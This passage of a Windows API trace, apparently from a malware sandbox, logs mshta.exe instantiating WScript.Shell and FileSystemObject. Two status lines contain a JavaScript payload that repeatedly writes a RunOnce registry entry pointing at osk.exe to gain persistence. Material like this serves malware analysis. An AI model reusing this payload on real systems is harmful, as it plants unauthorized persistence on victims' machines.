| out: lpLCData="1252") returned 5 [0254.055] IsValidCodePage (CodePage=0x4e4) returned 1 [0254.055] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95f20c | out: PolicyValue=0x95f20c) returned 0 [0254.055] malloc (_Size=0x2c) returned 0x54881f0 [0254.055] StrCmpICW (pszStr1="window", pszStr2="window") returned 0 [0254.055] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2149933, dwHighDateTime=0x1d4f110)) [0254.055] GetTickCount () returned 0x3ed20 [0254.056] malloc (_Size=0x184) returned 0x54999c8 [0254.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb2149933, dwHighDateTime=0x1d4f110)) [0254.056] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb2149933, dwHighDateTime=0x1d4f110)) [0254.056] GetTickCount () returned 0x3ed20 [0254.056] malloc (_Size=0x30) returned 0x5488228 [0254.057] malloc (_Size=0xa0) returned 0x5499b58 [0254.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb216fc72, dwHighDateTime=0x1d4f110)) [0254.057] CoCreateInstance (in: rclsid=0x7287d15c*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppv=0x95f234 | out: ppv=0x95f234*=0x5499c48) returned 0x0 [0254.059] DllGetClassObject (in: rclsid=0xa063fc*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e2d4 | out: ppv=0x95e2d4*=0x5499c00) returned 0x0 [0254.059] NdrDllGetClassObject (in: rclsid=0xa063fc*(Data1=0x842a1268, Data2=0x6e6a, Data3=0x465c, Data4=([0]=0x86, [1]=0x8f, [2]=0x8b, [3]=0xc4, [4]=0x45, [5]=0xb9, [6]=0x82, [7]=0x8f)), riid=0x75c7fd10*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95e2d4, pProxyFileList=0x716a2464, pclsid=0x716cc664*(Data1=0xc20ed5c4, Data2=0xa2e, Data3=0x4f66, Data4=([0]=0x9b, [1]=0xe2, [2]=0x86, [3]=0xa1, [4]=0xc8, [5]=0x23, [6]=0xdd, [7]=0x68)), pPSFactoryBuffer=0x719e1e08 | out: ppv=0x95e2d4*=0x0) returned 0x80040111 [0254.059] malloc (_Size=0x34) returned 0x5499c00 [0254.059] IClassFactory:CreateInstance (in: This=0x5499c00, pUnkOuter=0x0, riid=0x95ed44*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x95e2bc | out: ppvObject=0x95e2bc*=0x5499c48) returned 0x0 [0254.059] malloc (_Size=0x5c) returned 0x5499c40 [0254.059] GetCurrentThreadId () returned 0xe38 [0254.059] IUnknown:AddRef (This=0x5499c48) returned 0x2 [0254.060] IUnknown:Release (This=0x5499c48) returned 0x1 [0254.060] IUnknown:Release (This=0x5499c00) returned 0x0 [0254.060] free (_Block=0x5499c00) [0254.060] IUnknown:QueryInterface (in: This=0x5499c48, riid=0x7287c964*(Data1=0x8f88fd19, Data2=0x5d42, Data3=0x477b, Data4=([0]=0xbd, [1]=0x45, [2]=0xf6, [3]=0xa4, [4]=0xa9, [5]=0x77, [6]=0xed, [7]=0x5)), ppvObject=0x95f1e4 | out: ppvObject=0x95f1e4*=0x5499c48) returned 0x0 [0254.060] IUnknown:Release (This=0x5499c48) returned 0x1 [0254.060] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x14) returned 0xa30438 [0254.060] malloc (_Size=0x2e0) returned 0x5499ca8 [0254.060] malloc (_Size=0x22c) returned 0x5499f90 [0254.061] malloc (_Size=0x804) returned 0x549a1c8 [0254.061] malloc (_Size=0x19c) returned 0x549a9d8 [0254.061] free (_Block=0x549a9d8) [0254.061] malloc (_Size=0x94) returned 0x549a9d8 [0254.062] malloc (_Size=0xa4) returned 0x549aa78 [0254.062] malloc (_Size=0xc) returned 0x549ac48 [0254.062] malloc (_Size=0xc) returned 0x549acf0 [0254.062] malloc (_Size=0x10) returned 0x549ae10 [0254.062] malloc (_Size=0x30) returned 0x5488260 [0254.063] malloc (_Size=0xc) returned 0x549ad08 [0254.063] malloc (_Size=0xc) returned 0x549ade0 [0254.063] malloc (_Size=0x10) returned 0x549ad98 [0254.063] malloc (_Size=0x30) returned 0x5488308 [0254.063] free (_Block=0x549a1c8) [0254.063] free (_Block=0x5499f90) [0254.063] malloc (_Size=0x20) returned 0x5499c00 [0254.063] malloc (_Size=0xc) returned 0x549ae28 [0254.063] free (_Block=0x5499ca8) [0254.063] malloc (_Size=0x18) returned 0xdfca48 [0254.063] malloc (_Size=0xc) returned 0x549ac30 [0254.064] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb216fc72, dwHighDateTime=0x1d4f110)) [0254.064] GetTickCount () returned 0x3ed30 [0254.064] GetTickCount () returned 0x3ed30 [0254.064] GetTickCount () returned 0x3ed30 [0254.064] malloc (_Size=0x30) returned 0x5488298 [0254.064] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x3000, flProtect=0x4) returned 0x63b0000 [0254.065] FlushInstructionCache (hProcess=0xffffffff, lpBaseAddress=0x63b0000, dwSize=0x1000) returned 1 [0254.065] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e838 | out: PolicyValue=0x95e838) returned 0 [0254.065] ResolveDelayLoadedAPI () returned 0x75d55cf0 [0254.066] CLSIDFromProgIDEx (in: lpszProgID="WScript.Shell", lpclsid=0x95eb74 | out: lpclsid=0x95eb74*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8))) returned 0x0 [0254.067] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e854 | out: PolicyValue=0x95e854) returned 0 [0254.067] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e830 | out: PolicyValue=0x95e830) returned 0 [0254.067] ResolveDelayLoadedAPI () returned 0x75cc4f90 [0254.068] CoGetClassObject (in: rclsid=0x95eb74*(Data1=0x72c24dd5, Data2=0xd70a, Data3=0x438b, Data4=([0]=0x8a, [1]=0x42, [2]=0x98, [3]=0x42, [4]=0x4b, [5]=0x88, [6]=0xaf, [7]=0xb8)), dwClsContext=0x5, pvReserved=0x0, riid=0x716cc7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95eb6c | out: ppv=0x95eb6c*=0x549ae40) returned 0x0 [0254.435] malloc (_Size=0x80) returned 0xdfa520 [0254.436] GetVersionExA (in: lpVersionInformation=0x95d1c4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x71677390, dwMinorVersion=0xdf0000, dwBuildNumber=0x88, dwPlatformId=0x11, szCSDVersion="") | out: lpVersionInformation=0x95d1c4*(dwOSVersionInfoSize=0x94, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x3ad7, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0254.436] GetUserDefaultLCID () returned 0x409 [0254.436] GetLocaleInfoW (in: Locale=0x409, LCType=0x20000070, lpLCData=0x95cd8c, cchData=2 | out: lpLCData="") returned 2 [0254.436] malloc (_Size=0xc) returned 0x549ae40 [0254.436] malloc (_Size=0x28) returned 0x549af30 [0254.436] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x95e9f8, nSize=0x105 | out: lpFilename="C:\\WINDOWS\\SysWOW64\\mshta.exe" (normalized: "c:\\windows\\syswow64\\mshta.exe")) returned 0x1d [0254.436] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\wscript.exe") returned -1 [0254.436] _strcmpi (_Str1="64\\mshta.exe", _Str2="\\cscript.exe") returned -1 [0254.436] free (_Block=0x549ae40) [0254.437] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e7f0 | out: PolicyValue=0x95e7f0) returned 0 [0254.437] malloc (_Size=0xc) returned 0x549ae40 [0254.437] GetTickCount () returned 0x3eea7 [0254.437] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.437] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.438] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.438] IsCharSpaceW (wch=0x6f) returned 0 [0254.438] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.438] IsCharSpaceW (wch=0x6f) returned 0 [0254.438] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e838 | out: PolicyValue=0x95e838) returned 0 [0254.438] CLSIDFromProgIDEx (in: lpszProgID="Scripting.FileSystemObject", lpclsid=0x95eb74 | out: lpclsid=0x95eb74*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28))) returned 0x0 [0254.439] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e854 | out: PolicyValue=0x95e854) returned 0 [0254.439] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e830 | out: PolicyValue=0x95e830) returned 0 [0254.439] CoGetClassObject (in: rclsid=0x95eb74*(Data1=0xd43fe01, Data2=0xf093, Data3=0x11cf, Data4=([0]=0x89, [1]=0x40, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x5, [6]=0x42, [7]=0x28)), dwClsContext=0x5, pvReserved=0x0, riid=0x716cc7d4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x95eb6c | out: ppv=0x95eb6c*=0xdfc7c8) returned 0x0 [0254.443] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc7c8, riid=0x716ccae4*(Data1=0x342d1ea0, Data2=0xae25, Data3=0x11d1, Data4=([0]=0x89, [1]=0xc5, [2]=0x0, [3]=0x60, [4]=0x8, [5]=0xc3, [6]=0xfb, [7]=0xfc)), ppvObject=0x95eb68 | out: ppvObject=0x95eb68*=0x0) returned 0x80004002 [0254.443] FileSystemObject:IClassFactory:CreateInstance (in: This=0xdfc7c8, pUnkOuter=0x0, riid=0x716cc614*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95ebc4 | out: ppvObject=0x95ebc4*=0xdfc968) returned 0x0 [0254.443] FileSystemObject:IUnknown:Release (This=0xdfc7c8) returned 0x0 [0254.443] QueryProtectedPolicy (in: PolicyGuid=0x716ccb14, PolicyValue=0x95e7f0 | out: PolicyValue=0x95e7f0) returned 0 [0254.443] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716ccba8*(Data1=0xfc4801a3, Data2=0x2ba9, Data3=0x11cf, Data4=([0]=0xa2, [1]=0x29, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x3d, [6]=0x73, [7]=0x52)), ppvObject=0x95eb6c | out: ppvObject=0x95eb6c*=0x0) returned 0x80004002 [0254.444] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc634*(Data1=0x20400, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x95eb64 | out: ppvObject=0x95eb64*=0xdfc968) returned 0x0 [0254.444] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cd9a4*(Data1=0xa731980e, Data2=0x7d1e, Data3=0x4652, Data4=([0]=0x84, [1]=0x32, [2]=0xad, [3]=0x2b, [4]=0x3b, [5]=0xc0, [6]=0xea, [7]=0x44)), ppvObject=0x95eb14 | out: ppvObject=0x95eb14*=0x0) returned 0x80004002 [0254.444] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cdaa0*(Data1=0x626fc520, Data2=0xa41e, Data3=0x11cf, Data4=([0]=0xa7, [1]=0x31, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x8, [6]=0x26, [7]=0x37)), ppvObject=0x95eaf4 | out: ppvObject=0x95eaf4*=0x0) returned 0x80004002 [0254.444] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cda90*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x95eafc | out: ppvObject=0x95eafc*=0x0) returned 0x80004002 [0254.444] FileSystemObject:IUnknown:QueryInterface (in: This=0xdfc968, riid=0x716cc624*(Data1=0xa6ef9860, Data2=0xc720, Data3=0x11d0, Data4=([0]=0x93, [1]=0x37, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xd, [6]=0xca, [7]=0xa9)), ppvObject=0x6240130 | out: ppvObject=0x6240130*=0x0) returned 0x80004002 [0254.444] FileSystemObject:IUnknown:AddRef (This=0xdfc968) returned 0x3 [0254.444] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x2 [0254.444] FileSystemObject:IUnknown:Release (This=0xdfc968) returned 0x1 [0254.444] GetTickCount () returned 0x3eea7 [0254.444] GetTickCount () returned 0x3eea7 [0254.444] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.444] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.444] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.444] IsCharSpaceW (wch=0x78) returned 0 [0254.445] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.445] IsCharSpaceW (wch=0x78) returned 0 [0254.445] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.445] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.445] RtlInterlockedPopEntrySList (in: ListHead=0xd90958 | out: ListHead=0xd90958) returned 0x0 [0254.445] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x78) returned 0xd9ef60 [0254.445] rand_s (in: _RandomValue=0x95e724 | out: _RandomValue=0x95e724) returned 0x0 [0254.445] VirtualAlloc (lpAddress=0x0, dwSize=0x20000, flAllocationType=0x202000, flProtect=0x4) returned 0x63f0000 [0254.446] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x84) returned 0x4a53eb0 [0254.446] RtlAllocateHeap (HeapHandle=0xd90000, Flags=0x0, Size=0x2600) returned 0x4a53f40 [0254.446] malloc (_Size=0x28) returned 0x549af60 [0254.446] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.447] CoInternetIsFeatureEnabled (FeatureEntry=0x0, dwFlags=0x2) returned 0x0 [0254.447] QueryPerformanceCounter (in: lpPerformanceCount=0x95e7a0 | out: lpPerformanceCount=0x95e7a0*=25775003483) returned 1 [0254.448] QueryPerformanceCounter (in: lpPerformanceCount=0x95e714 | out: lpPerformanceCount=0x95e714*=25775018723) returned 1 [0254.448] QueryPerformanceCounter (in: lpPerformanceCount=0x95e708 | out: lpPerformanceCount=0x95e708*=25775024713) returned 1 [0254.448] LoadLibraryExW (lpLibFileName="api-ms-win-core-winrt-l1-1-0.dll", hFile=0x0, dwFlags=0x800) returned 0x75c50000 [0254.448] LoadLibraryExW (lpLibFileName="api-ms-win-core-winrt-string-l1-1-0.dll", hFile=0x0, dwFlags=0x800) returned 0x75c50000 [0254.449] GetProcAddress (hModule=0x75c50000, lpProcName="WindowsCreateStringReference") returned 0x75d0a150 [0254.449] WindowsCreateStringReference () returned 0x0 [0254.449] WindowsCreateStringReference () returned 0x0 [0254.449] GetProcAddress (hModule=0x75c50000, lpProcName="RoGetActivationFactory") returned 0x75d00fa0 [0254.449] RoGetActivationFactory () returned 0x0 [0254.450] QueryInterface () returned 0x0 [0254.450] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceOperationCreation () returned 0x0 [0254.450] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb25295ea, dwHighDateTime=0x1d4f110)) [0254.450] GetTickCount () returned 0x3eeb6 [0254.450] LoadCursorW (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0254.450] RegisterClassW (lpWndClass=0x95ef68) returned 0xc064 [0254.451] CreateWindowExW (dwExStyle=0x0, lpClassName="WorkerW", lpWindowName=0x0, dwStyle=0x0, X=0, Y=0, nWidth=0, nHeight=0, hWndParent=0xfffffffd, hMenu=0x0, hInstance=0x726c0000, lpParam=0x0) returned 0x10222 [0254.452] SetWindowLongW (hWnd=0x10222, nIndex=0, dwNewLong=10683448) returned 0 [0254.452] SetWindowLongW (hWnd=0x10222, nIndex=-4, dwNewLong=1926608192) returned 2009290384 [0254.453] SetTimer (hWnd=0x10222, nIDEvent=0x1, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x1 [0254.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe28c | out: lpSystemTimeAsFileTime=0xdfe28c*(dwLowDateTime=0xb25295ea, dwHighDateTime=0x1d4f110)) [0254.453] GetTickCount () returned 0x3eeb6 [0254.453] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xdfe294 | out: lpSystemTimeAsFileTime=0xdfe294*(dwLowDateTime=0xb25295ea, dwHighDateTime=0x1d4f110)) [0254.453] free (_Block=0x5499c00) [0254.453] free (_Block=0x549af60) [0254.453] GetTickCount () returned 0x3eeb6 [0254.453] GetTickCount () returned 0x3eeb6 [0254.453] GetCurrentThreadId () returned 0xe38 [0254.453] GetCurrentThreadId () returned 0xe38 [0254.453] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x8) returned 0xa25268 [0254.454] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x4) returned 0xa253a8 [0254.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2 [0254.454] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x3) returned 0xa25348 [0254.454] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1", cchWideChar=-1, lpMultiByteStr=0xa25348, cbMultiByte=2, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1", lpUsedDefaultChar=0x0) returned 2 [0254.454] GetProcessHeap () returned 0x9d0000 [0254.454] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x2) returned 0xa25368 [0254.454] memcpy_s (in: _Destination=0xa25368, _DestinationSize=0x2, _Source=0xa25348, _SourceSize=0x2 | out: _Destination=0xa25368) returned 0x0 [0254.454] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa253a8 | out: hHeap=0x9d0000) returned 1 [0254.454] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa25348 | out: hHeap=0x9d0000) returned 1 [0254.454] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa3a8e8 | out: hHeap=0x9d0000) returned 1 [0254.454] HeapFree (in: hHeap=0x9d0000, dwFlags=0x0, lpMem=0xa25268 | out: hHeap=0x9d0000) returned 1 [0254.455] IInternetProtocol:Read (in: This=0x49b60cc, pv=0xa0e560, cb=0x800, pcbRead=0x95f1a8 | out: pv=0xa0e560, pcbRead=0x95f1a8*=0x2) returned 0x0 [0254.455] IInternetProtocol:Read (in: This=0x49b60cc, pv=0xa0e562, cb=0x7fe, pcbRead=0x95f1a8 | out: pv=0xa0e562, pcbRead=0x95f1a8*=0x0) returned 0x1 [0254.457] IBindStatusCallback:OnProgress (This=0x9ebb78, ulProgress=0x0, ulProgressMax=0x0, ulStatusCode=0xd, szStatusText="text/html") returned 0x0 [0254.457] RegisterClipboardFormatW (lpszFormat="text/html") returned 0xc105 [0254.457] RegisterClipboardFormatW (lpszFormat="text/plain") returned 0xc106 [0254.457] RegisterClipboardFormatW (lpszFormat="text/xml") returned 0xc12a [0254.457] RegisterClipboardFormatW (lpszFormat="application/xml") returned 0xc12b [0254.457] RegisterClipboardFormatW (lpszFormat="application/xhtml+xml") returned 0xc12c [0254.457] RegisterClipboardFormatW (lpszFormat="text/x-component") returned 0xc16e [0254.458] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc12d [0254.458] RegisterClipboardFormatW (lpszFormat="video/avi") returned 0xc11e [0254.458] RegisterClipboardFormatW (lpszFormat="video/x-msvideo") returned 0xc11f [0254.458] RegisterClipboardFormatW (lpszFormat="video/mpeg") returned 0xc120 [0254.458] RegisterClipboardFormatW (lpszFormat="video/quicktime") returned 0xc16f [0254.458] RegisterClipboardFormatW (lpszFormat="application/hta") returned 0xc170 [0254.458] RegisterClipboardFormatW (lpszFormat="text/cache-manifest") returned 0xc171 [0254.458] RegisterClipboardFormatW (lpszFormat="text/vtt") returned 0xc172 [0254.458] RegisterClipboardFormatW (lpszFormat="application/ttml+xml") returned 0xc173 [0254.458] RegisterClipboardFormatW (lpszFormat="application/ttaf+xml") returned 0xc174 [0254.458] RegisterClipboardFormatW (lpszFormat="text/json") returned 0xc175 [0254.458] RegisterClipboardFormatW (lpszFormat="application/x-javascript") returned 0xc176 [0254.458] RegisterClipboardFormatW (lpszFormat="image/x-png") returned 0xc115 [0254.458] RegisterClipboardFormatW (lpszFormat="image/png") returned 0xc116 [0254.458] RegisterClipboardFormatW (lpszFormat="image/jpeg") returned 0xc112 [0254.458] RegisterClipboardFormatW (lpszFormat="image/pjpeg") returned 0xc111 [0254.458] RegisterClipboardFormatW (lpszFormat="image/gif") returned 0xc110 [0254.458] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-dds") returned 0xc177 [0254.458] RegisterClipboardFormatW (lpszFormat="image/svg+xml") returned 0xc12d [0254.458] RegisterClipboardFormatW (lpszFormat="image/tiff") returned 0xc114 [0254.459] RegisterClipboardFormatW (lpszFormat="image/bmp") returned 0xc117 [0254.459] RegisterClipboardFormatW (lpszFormat="image/vnd.ms-photo") returned 0xc11c [0254.459] RegisterClipboardFormatW (lpszFormat="image/x-wmf") returned 0xc11a [0254.459] RegisterClipboardFormatW (lpszFormat="image/x-emf") returned 0xc119 [0254.459] RegisterClipboardFormatW (lpszFormat="image/x-icon") returned 0xc11b [0254.459] GetTickCount () returned 0x3eeb6 [0254.459] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.WINSOCK_ACTIVITY") returned 0xc0fc [0254.459] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.SET_CONNECTOID_NAME") returned 0xc0fd [0254.459] RegisterClipboardFormatW (lpszFormat="Microsoft.Webcheck.Dialmon.IEXPLORER_EXITING") returned 0xc0fe [0254.459] FindWindowW (lpClassName="MS_AutodialMonitor", lpWindowName=0x0) returned 0x0 [0254.459] FindWindowW (lpClassName="MS_WebCheckMonitor", lpWindowName=0x0) returned 0x2002a [0254.460] PostMessageW (hWnd=0x2002a, Msg=0xc0fc, wParam=0x0, lParam=0x0) returned 1 [0254.460] IBindCtx:GetObjectParam (in: This=0xa06858, pszKey="__DWNBINDINFO", ppunk=0x95f030 | out: ppunk=0x95f030*=0x0) returned 0x80004005 [0254.460] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x18) returned 0xa306b8 [0254.460] StrChrW (lpStart="text/html", wMatch=0x3b) returned 0x0 [0254.460] StrCmpNICW (lpStr1="text/", lpStr2="text/", nChar=5) returned 0 [0254.460] IInternetProtocol:Read (in: This=0x49b60cc, pv=0xa0c55a, cb=0x1ffe, pcbRead=0x95f284 | out: pv=0xa0c55a, pcbRead=0x95f284*=0x0) returned 0x1 [0254.460] IBindStatusCallback:OnProgress (This=0x9ebb78, ulProgress=0x2, ulProgressMax=0x2, ulStatusCode=0x4, szStatusText="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0254.460] QueryPerformanceCounter (in: lpPerformanceCount=0x95f1d8 | out: lpPerformanceCount=0x95f1d8*=25776268947) returned 1 [0254.460] QueryPerformanceCounter (in: lpPerformanceCount=0x95f1a0 | out: lpPerformanceCount=0x95f1a0*=25776277411) returned 1 [0254.460] GetTickCount () returned 0x3eeb6 [0254.460] GetCurrentThreadId () returned 0xe38 [0254.460] memcpy_s (in: _Destination=0x95f1a4, _DestinationSize=0xc, _Source=0x4998ce0, _SourceSize=0xc | out: _Destination=0x95f1a4) returned 0x0 [0254.460] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x0, Size=0x202) returned 0xa369b0 [0254.461] MulDiv (nNumber=2, nNumerator=4000, nDenominator=2) returned 4000 [0254.461] IUnknown:QueryInterface (in: This=0x49b60b0, riid=0x7286ca54*(Data1=0x79eac9d8, Data2=0xbafa, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x95f184 | out: ppvObject=0x95f184*=0x0) returned 0x80004002 [0254.461] IBindStatusCallback:OnProgress (This=0x9ebb78, ulProgress=0x2, ulProgressMax=0x2, ulStatusCode=0x6, szStatusText="javascript:o=new ActiveXObject('WScript.Shell');x=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{i=x.GetFile('osk.exe').Path;o.RegWrite('HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\\\shwlwook',i);}catch(e){}},10);") returned 0x0 [0254.461] QueryPerformanceCounter (in: lpPerformanceCount=0x95f200 | out: lpPerformanceCount=0x95f200*=25776383325) returned 1 [0254.461] GetTickCount () returned 0x3eeb6 [0254.461] GetCurrentThreadId () returned 0xe38 [0254.461] memcpy_s (in: _Destination=0x95f1cc, _DestinationSize=0xc, _Source=0x4998ce0, _SourceSize=0xc | out: _Destination=0x95f1cc) returned 0x0 [0254.461] GetCurrentThreadId () returned 0xe38 [0254.462] IInternetProtocol:LockRequest (This=0x49b60cc, dwOptions=0x0) returned 0x0 [0254.462] IBindStatusCallback:RemoteOnDataAvailable (This=0x9ebb78, grfBSCF=0x5, dwSize=0x2, pformatetc=0xa0b6c0, pstgmed=0xa1aa48) returned 0x0 [0254.462] CoInternetCreateSecurityManager (in: pSP=0x0, ppSM=0x95ed5c, dwReserved=0x0 | out: ppSM=0x95ed5c*=0xa3d420) returned 0x0 [0254.462] IUnknown:QueryInterface (in: This=0xa3d420, riid=0x7286cdd0*(Data1=0xf1e50292, Data2=0xa795, Data3=0x4117, Data4=([0]=0x8e, [1]=0x9, [2]=0x2b, [3]=0x56, [4]=0xa, [5]=0x72, [6]=0xac, [7]=0x60)), ppvObject=0x95ed64 | out: ppvObject=0x95ed64*=0xa3d420) returned 0x0 [0254.464] IUnknown:Release (This=0xa3d420) returned 0x1 [0254.464] IUnknown:Release (This=0xa3d420) returned 0x0 [0254.464] ReleaseBindInfo (pbindinfo=0x95f1d4) [0254.464] IUnknown:QueryInterface (in: This=0x49b60b0, 